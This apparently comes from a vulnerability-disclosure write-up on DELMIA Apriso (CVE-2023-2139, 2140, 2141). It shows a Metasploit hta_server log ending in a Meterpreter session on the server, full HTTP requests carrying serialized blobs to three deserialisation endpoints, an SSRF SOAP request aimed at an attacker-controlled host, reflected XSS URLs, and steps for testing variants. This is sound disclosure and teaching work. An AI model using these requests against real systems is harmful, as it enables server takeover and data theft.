[*] X.X.X.X hta_server - Delivering Payload
[*] Sending stage (175174 bytes) to X.X.X.X
[*] Meterpreter session 1 opened (X.X.X.X:4457 -> X.X.X.X:14401 ) at [...]

msf6 exploit(windows/misc/hta_server)> sessions -i 1
[*] Starting interaction with 1...

meterpreter > getuid
Server username: IIS APPPOOL\Apriso

Reading it in order:

  1. msfconsole -x "..." starts Metasploit and runs the quoted commands. use exploit/windows/misc/hta_server selects a module that serves an HTA file. set URIPATH s makes it available at the path s, matching the s.hta in the payload. set LHOST and set LPORT say where the victim should connect back, and set SRVPORT 8080 is the port the HTA is served on, matching the URL in the payload. exploit -j starts it in the background.
  2. The [*] lines are Metasploit's log: it delivered the payload, sent a stage of 175174 bytes, and opened a Meterpreter session. The addresses are shown as X.X.X.X here.
  3. sessions -i 1 switches into that session, and getuid asks who the code is running as. The answer is IIS APPPOOL\Apriso, the account the web application itself runs under. That is the practical meaning of remote code execution here: the attacker's commands run with the web server's own permissions.

Step 2: the TreeControl endpoint

The second vector is exposed at /Apriso/Portal/BusinessControls/TreeControl/data. A tree control is the collapsible list of folders and items you see in many interfaces, and treeConfig is its configuration parameter, serialised the same way as gridConfig:

HTTP
POST /Apriso/Portal/BusinessControls/TreeControl/data HTTP/2
Host: [redacted]
Cookie: ASP.NET_SessionId=redacted; .ASPXAUTH=redacted
User-Agent: Mozilla/5.0
Content-Type: application/x-www-form-urlencoded; charset=UTF-8

data={"KeyLevelList":[{"ParentKey":"","Level":0}],"FuncInputs": {"EmployeeID":100000318,"Supervisor":true,"OrderStatuses":[1,2,3,4,5,6],"OrderTypes": [26,27]},"IsInitCall":true,"ReadAllChildren":false}&treeConfig=H4sIAAAAAAAEAM1V3W/
[redacted]/8L/[...]

Here the body has two parameters. data is ordinary JSON describing what the tree should show: a starting level, an employee number, some order statuses and types. treeConfig is the serialised configuration, and again its value starts with H4sI, the compressed and encoded blob. The cookies are the same login cookies as before.

The response shows the same pattern as DynamicGrid, a cast failure after deserialisation:

HTTP
HTTP/2 200 OK
[...]

{
  "Success": false,
  "Error": "Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.String]' to type 'FlexNet.Apriso.ClientComponents.Shared.TreeControl.TreeViewDef'."
}

The server tried to treat the object as a TreeViewDef and failed. The JSON wrapper is just the API's way of reporting the error; the important part is the same "Unable to cast" message, which means the payload was deserialised first.

Step 3: the sf/view/compute API endpoint

The third vector needs two requests, to /Apriso/Portal/api/sf/view/display and then /Apriso/Portal/api/sf/view/compute. The first can be triggered by browsing the user's profile under Profile > Acknowledgments, a normal page in the application. Its purpose in the attack is to generate the viewSessionId and def_BC_[*RANDOM_UUID*]_Control parameters used in the second request.

HTTP
POST /Apriso/Portal/api/sf/view/display HTTP/2
Host: [redacted]
Content-Type: application/json;charset=utf-8
Cookie: ASP.NET_SessionId=redacted; .ASPXAUTH=redacted

{
  "screenRevisionId": 278,
  "screenTitle": "NTC.PersonalDataAcknowledgements",
  "inputsObject": {
    "NoticeID": 0
  },
  "panels": [
    {
      "panel": {
        "panelId": 400,
        "viewRevisionId": 612,
        "viewName": "NTC.PersonalDataAcknowledgements"
      },
      "viewTitle": ""
    }
  ],
  "properties": {}
}

This is a JSON request, so the body is a set of named values in curly braces. screenRevisionId and screenTitle identify the screen to display, here the personal data acknowledgements page. inputsObject carries the screen's inputs, and panels lists which panels to render, with their own identifiers. The cookies again prove the user is logged in.

The server returns the session identifier and a serialised control value embedded in the HTML:

HTTP
HTTP/2 200 OK
[...]

{
  "panels": {
    "400": {
      "error": null,
      "html": "<div class=\"OperationContainer MainOperation [redacted]\" [...] </div><input type=\"hidden\" id=\"[redacted]\" name=\"[redacted]\" value=\"H4sIAAAAAAAEAM1V3W/[redacted][...]</script></div>",
      "viewSessionId": "400~[redacted]",
      "title": null,
      "debugInfo": null
    }
  },
  [...]
  "imports": {
    "externalUrls": [],
    "inline": null,
    "versionToken": null
  }
}

The response is JSON again. Under panels, keyed by the panel id 400, there is an html field containing the page fragment the server built. Inside that fragment is a hidden input named def_BC_de30e44d_..._Control whose value is another H4sI... blob: a serialised object, produced by the application itself. The viewSessionId field, 400~[redacted], is the session identifier for this rendered view. Both are exactly what the second request needs.

In the second request, viewSessionId and def_BC_[*RANDOM_UUID*]_Control are set to adequate values, and the unsafe deserialisation is triggered through the def_BC_[*RANDOM_UUID*]_Control parameter:

HTTP
POST /Apriso/Portal/api/sf/view/compute HTTP/2
Host: [redacted]
Content-Type: application/json;charset=utf-8
Cookie: ASP.NET_SessionId=redacted; .ASPXAUTH=redacted

[
  {
    "viewSessionId": "400~[redacted]",
    "postbackObject": {
      "filter~[redacted]~name": null,
      "filter~[redacted]~revision": null,
      "Displayfilter~[redacted]~type": null,
      "filter~[redacted]~type": null,
      "filter~[redacted]~dateacknowledged": [
        null,
        null
      ],
      "[redacted]": "H4sIAAAAAAAE[...]",
      "columns~[redacted]": "name,revision,type,dateacknowledged",
      "resize~[redacted]~name": "130",
      "resize~[redacted]~revision": "130",
      "resize~[redacted]~dateacknowledged": "130",
      "sorting~[redacted]~sort": "dateacknowledged desc",
      "pageIndex~[redacted]": "0",
      "[redacted]": "\"OK\"",
      "[redacted]": null
    }
  }
]

The body is a JSON array (square brackets) containing one object. viewSessionId ties the request to the view created by the first request. postbackObject is the set of values a browser would normally send back when the user interacts with the page: filter values, column widths, sort order, page index, and the button action "OK". Most are null or ordinary settings. The one that matters is def_BC_14a8007b_..._Control, whose value is the H4sI... serialised blob. That is where the malicious object is placed, replacing the harmless one the server generated.

A similar casting error is thrown here too:

HTTP
HTTP/2 200 OK
[...]

{
  "400~[redacted]": {
    "actionCode": null,
    "defaultActionCode": null,
    "mergeOutputs": null,
    "toStackIndex": 0,
    "toScreen": null,
    "outputsObject": null,
    "debugInfo": null,
    "isError": true,
    "error": {
      "message": "Unexpected error occured. See log for details. Exception: Unable to cast object of type 'System.Collections.Generic.SortedSet`1[System.String]' to type 'FlexNet.Apriso.ClientComponents.Shared.DynamicGrid.DynamicGridDef'.",
      "modal": false
    }
  }
}

The response is keyed by the same viewSessionId, and isError is true. The message contains the familiar "Unable to cast" text, again showing that the object was deserialised before the type check failed. The error is reported back to the caller, which confirms the payload was processed.

Step 4: Server-Side Request Forgery

The application takes a URI as input and does not perform sufficient checks that it does not point to an internal resource before querying it. The vulnerable endpoint is a full read unauthenticated SSRF:

  • /Apriso/BusinessWebServices/StandardOperationInvoker.asmx?op=ExecuteSynchronously

An .asmx file is an older style of .NET web service, and SOAP is an XML-based format for calling such services. ExecuteSynchronously is the operation being called, and "synchronously" means the caller waits for the result. "Full read" means the attacker not only makes the server send a request but also gets part of the answer back.

With the following payload, requests can be forged on behalf of the Apriso server:

HTTP
POST /Apriso/BusinessWebServices/StandardOperationInvoker.asmx?op=ExecuteSynchronously HTTP/2
Host: [redacted]
Content-Type: text/xml; charset=utf-8
Soapaction: "http://tempuri.org/ExecuteSynchronously"

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/">
  <soap:Body>
    <ExecuteSynchronously xmlns="http://tempuri.org/">
      <parameters>
        <ExecuteRemote>true</ExecuteRemote>
        <RemoteExecutionParameters>
          <RemoteServerName>t71fbr3of4bvs4pmn73kta7osfy5mu.redacted</RemoteServerName>
          <EmployeeNo>string</EmployeeNo>
          <SelectionParameters>
            <SelectionType>Static</SelectionType>
            <OperationRevision>string</OperationRevision>
            <OperationFuid>string</OperationFuid>
            <OperationCode>123</OperationCode>
          </SelectionParameters>
          <ExecutionMode>Synchronous</ExecutionMode>
          <ScheduleParameters>
            <ExecutionTime>2010-05-24T13:46:00</ExecutionTime>
            <SynchronizationQueueName>string</SynchronizationQueueName>
            <PoolName>ok</PoolName>
            <Retries>1</Retries>
            <SleepTime>1</SleepTime><Timeout xsi:nil="true" />
          </ScheduleParameters>
          <Inputs>
            <PropertyBagItem xsi:nil="false" />
            <PropertyBagItem xsi:nil="false" />
          </Inputs>
          <Outputs>
            <PropertyBagItem xsi:nil="false" />
            <PropertyBagItem xsi:nil="false" />
          </Outputs>
          <SystemVariables>
            <PropertyBagItem xsi:nil="false" />
            <PropertyBagItem xsi:nil="false" />
          </SystemVariables>
        </RemoteExecutionParameters>
        <EmployeeID>1</EmployeeID>
        <TestRun>true</TestRun>
      </parameters>
    </ExecuteSynchronously>
  </soap:Body>
</soap:Envelope>

Line by line:

  1. The request line posts to the .asmx endpoint with ?op=ExecuteSynchronously, which selects the operation.
  2. Content-Type: text/xml says the body is XML, and Soapaction names the operation in the format SOAP expects.
  3. The XML itself is a SOAP message: an Envelope containing a Body, and inside the body the ExecuteSynchronously element with its parameters.
  4. <ExecuteRemote>true</ExecuteRemote> tells Apriso to run the operation on a remote server rather than locally.
  5. <RemoteServerName>t71fbr3of4bvs4pmn73kta7osfy5mu.redacted</RemoteServerName> is the address of that remote server, controlled by the attacker. This is the heart of the SSRF: the attacker chooses where the Apriso server connects.
  6. The remaining elements are ordinary settings the operation expects: an employee number, selection parameters, execution mode, schedule parameters, and empty input, output and system variable lists. They are there so the request looks complete and is accepted.

ExecuteRemote is set to true and RemoteServerName points at the attacker-controlled host, which is enough for the server to make the outbound call. The application returns a protocol error trace that discloses the response to the forged request:

HTTP
HTTP/2 200 OK

<?xml version="1.0" encoding="utf-8"?>
<soap:Envelope xmlns:soap="http://schemas.xmlsoap.org/soap/envelope/" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" xmlns:xsd="http://www.w3.org/2001/XMLSchema">
  <soap:Body>
    <ExecuteSynchronouslyResponse xmlns="http://tempuri.org/">
      <ExecuteSynchronouslyResult>
        <Result>false</Result>
        <LiteralID>FlexNet.SystemServices.JobExecutor.ExecutionResult.JobExecutionFailed</LiteralID>
        <InsertionStrings>
          <string>System.ServiceModel.ProtocolException: The content type text/html of the response message does not match the content type of the binding (application/soap+xml; charset=utf8). If using a custom encoder, be sure that the IsContentTypeSupported method is implemented properly. The first 107 bytes of the response were: '&lt;html&gt;&lt;body&gt;[redacted] dlq8cpmjeizjigz&lt;/body&gt;&lt;/html&gt;'. [...]

This response is the read-back. Result is false and the job is marked as failed, but the InsertionStrings field contains the exception text. The exception says the remote server answered with text/html instead of the SOAP XML the client expected, and then quotes the first 107 bytes of that answer: <html><body>ko5k04m0l8zmdlq8cpmjeizjigz...</body></html>. The Apriso server copied the first bytes of the response back in the error. That is why the SSRF is not blind: the attacker reads what the target returned.

On the controlled server, the following POST request was received from the Apriso server:

HTTP
POST /WebServices/FlexNetOperationsService.svc HTTP/1.1
Content-Type: application/soap+xml; charset=utf-8
Host: t71fbr3of4bvs4pmn73kta7osfy5mu.redacted
Content-Length: 4664
Accept-Encoding: gzip, deflate
X-Forwarded-For: redacted

<s:Envelope xmlns:s="http://www.w3.org/2003/05/soap-envelope" xmlns:a="http://www.w3.org/2005/08/addressing">
  <s:Header>
    <a:Action s:mustUnderstand="1">http://tempuri.org/IFlexNetOperationsService/Invoke</ a:Action>
    <a:MessageID>urn:uuid:572987fd-01dc-4efc-927f-d18d75db6312</a:MessageID>
    <a:ReplyTo>
      <a:Address>http://www.w3.org/2005/08/addressing/anonymous</a:Address>
    </a:ReplyTo>
    <a:To s:mustUnderstand="1">http://t71fbr3of4bvs4pmn73kta7osfy5mu.redacted/WebServices/ FlexNetOperationsService.svc</a:To>
  </s:Header>
  <s:Body> [...]

This is the other side of the story: what the attacker's own server saw arrive. The request line shows Apriso posting to /WebServices/FlexNetOperationsService.svc on the attacker's host. The headers say it is a SOAP message, give its length, and note that the client accepts compressed responses. The XML header block names the action being invoked, carries a message identifier, says where to send the reply, and states the destination address. In short, the Apriso server really did make the outbound call, exactly as the attacker asked.

Step 5: Reflected Cross-Site Scripting

The application does not correctly encode user-supplied data before displaying it, so an attacker can craft hyperlinks that, once accessed by the victim's browser, insert HTML elements in the page body. "Encoding" here means turning characters like < into a harmless form such as &lt; so the browser shows them as text instead of treating them as markup. A reflected injection occurs in error message rendering:

Text
https://[redacted]/Apriso/Start/logon.html?Message=Integra%3Cimg%20src=x%20onerror=alert(domain) %3Eted%20Windows%20authentication%20disabled.&ReturnUrl=https://[redacted]/apriso/apriso/&TabID=0

Reading the URL:

  1. The page is logon.html, the login page, so this works before any login.
  2. The Message parameter is meant to hold a message shown to the user. Its value begins with Integra, then %3Cimg%20src=x%20onerror=alert(domain)%3E, then ted Windows authentication disabled.. The %3C and %3E are URL-encoded < and >, and %20 is a space. Decoded, the middle part is <img src=x onerror=alert(domain)>, an image tag whose source does not exist, with an error handler that runs alert(domain).
  3. Because the page puts the message into the HTML without encoding it, the browser does not show the tag as text. It creates an image element, the image fails to load, and the onerror code runs. alert(domain) is a harmless demonstration that pops up the page's domain name; a real attacker would put something more damaging there.
  4. ReturnUrl and TabID are ordinary parameters of the login page, present so the link looks normal.

The victim only has to open the link.

A second injection requiring prior user authentication was identified on the following endpoint:

Text
https://[redacted]/Apriso/Portal/ui/aaaa%3csvg%20onload%3dalert(domain)%3e

Here the malicious text is in the path itself, after /Apriso/Portal/ui/. Decoded, %3csvg%20onload%3dalert(domain)%3e is <svg onload=alert(domain)>, an SVG image tag whose load handler runs the script. This injection requires prior user authentication. The aaaa prefix is just filler before the tag.

Root cause

The deserialisation issue is a design mistake. Serializable<T>.Deserialize hands attacker-controlled bytes to BinaryFormatter, a formatter that instantiates arbitrary types named in the stream. Deserialisation goes through a custom SvlToAprisoDeserializationBinder, and the cast to the expected type happens only after the object graph has been materialised. The three endpoints take a request parameter (gridConfig, treeConfig, def_BC_*_Control), and the resulting cast exception is returned to the client.

The SSRF comes from accepting a RemoteServerName in the ExecuteSynchronously SOAP operation and querying it without sufficient checks that it does not point to an internal resource.

The XSS comes from rendering user-supplied data (Message on the logon page, the path segment under /Apriso/Portal/ui/) without correct encoding.

Impact

  • CVE-2023-2141: an authenticated user can achieve remote code execution on the server, in the context of the IIS application pool account (IIS APPPOOL\Apriso in the demonstrated session).
  • CVE-2023-2140: an unauthenticated attacker can make the Apriso server issue requests to arbitrary hosts on its behalf.
  • CVE-2023-2139: an attacker can execute JavaScript in the browser of a tricked user; the logon page variant needs no session, the /Apriso/Portal/ui/ variant needs the victim to be authenticated.

Fix

Dassault Systèmes confirmed the vulnerabilities, started the patching process, published a dedicated knowledge base article, assigned the CVE numbers and updated the article with the final remediation packages. Remediation guidelines and patch packages are available in the knowledge base article (docid QA00000103237), and the advisories are listed at https://www.3ds.com/vulnerability/advisories. The report does not describe the code changes themselves.

Variants to test

  1. Look for other Apriso business controls that accept a Base64, Gzip-compressed parameter and return a cast error. Send a benign serialised object and watch for Unable to cast object of type in the response; a positive result means the parameter reaches BinaryFormatter before type validation.
  2. Test other SOAP operations on StandardOperationInvoker.asmx that take a remote server name or URI. Point them at a host you control and check whether your listener receives a request from the target, and whether the response body leaks back in an error message.
  3. Try the Message parameter on other error-rendering pages (logon, error, redirect handlers) with a URL-encoded <img src=x onerror=alert(domain)>; a positive result is script execution in the page context.
  4. Try path segments under /Apriso/Portal/ui/ with URL-encoded HTML tags while authenticated; a positive result is the tag being rendered rather than escaped.
  5. Check whether the deserialisation endpoints accept the payload without a valid session, to see if the post-authentication requirement can be bypassed.

Glossary

  • API: a doorway that lets one program talk to another, usually exchanging structured data rather than web pages.
  • Application pool: the Windows account under which an IIS website runs; IIS APPPOOL\Apriso is Apriso's.
  • Base64: an encoding that turns arbitrary bytes into ordinary text characters so they can travel safely in URLs and forms.
  • BinaryFormatter: a .NET class that turns bytes back into objects; Microsoft warns it is insecure and cannot be made secure.
  • Cast (type casting): asking a program to treat a value as a particular type; a failed cast produces an error such as "Unable to cast object of type".
  • Cookie: a small piece of text stored by the browser and sent with requests so the site can recognise the user; .ASPXAUTH is the login cookie here.
  • CVE: a public catalogue number for a known vulnerability.
  • Deserialisation: turning stored or transmitted bytes back into live objects in memory.
  • Endpoint: a specific address on a server that performs a specific job.
  • Gadget chain: a sequence of existing code pieces that, triggered in the right order during deserialisation, performs a harmful action.
  • Gzip: a compression format that makes data smaller.
  • HTA: a file Windows can run as a small application, often used to deliver a payload.
  • IIS: Microsoft's web server software.
  • JSON: a text format for structured data using curly braces, square brackets, names and values.
  • Meterpreter: the interactive session Metasploit gives an attacker once a payload runs.
  • Metasploit: a tool for delivering and managing exploit payloads; msfconsole is its command line.
  • Parameter: a named value sent with a request, such as gridConfig or treeConfig.
  • Post-authentication: requiring a valid login before the issue can be triggered.
  • Reflected XSS: a cross-site scripting flaw where malicious input is bounced straight back from the request into the page.
  • Remote code execution (RCE): running the attacker's commands on the victim's server.
  • Reverse shell: a connection from the victim machine back to the attacker that provides a command prompt.
  • Second stage: a larger payload fetched by a small first one.
  • Serialisation: turning live objects into bytes so they can be stored or sent.
  • SOAP: an XML-based format for calling web services.
  • SSRF (Server-Side Request Forgery): making the server issue a request of the attacker's choosing, often to internal systems.
  • Type: in programming, the kind of a value, such as a string, a number or a specific class.
  • URL encoding: writing special characters as % followed by two hex digits, such as %3C for <.
  • XSS (Cross-Site Scripting): getting attacker-supplied script to run in another user's browser in the context of a website.
  • YSoSerial.Net: a tool that generates serialised .NET payloads for known gadget chains.

Similar reports

View all

Same bug class and techniques, clearest first.

Remote code execution

The lesson behind this report.

Running the attacker's code on the target's servers: through command or code injection, unsafe deserialisation or template injection.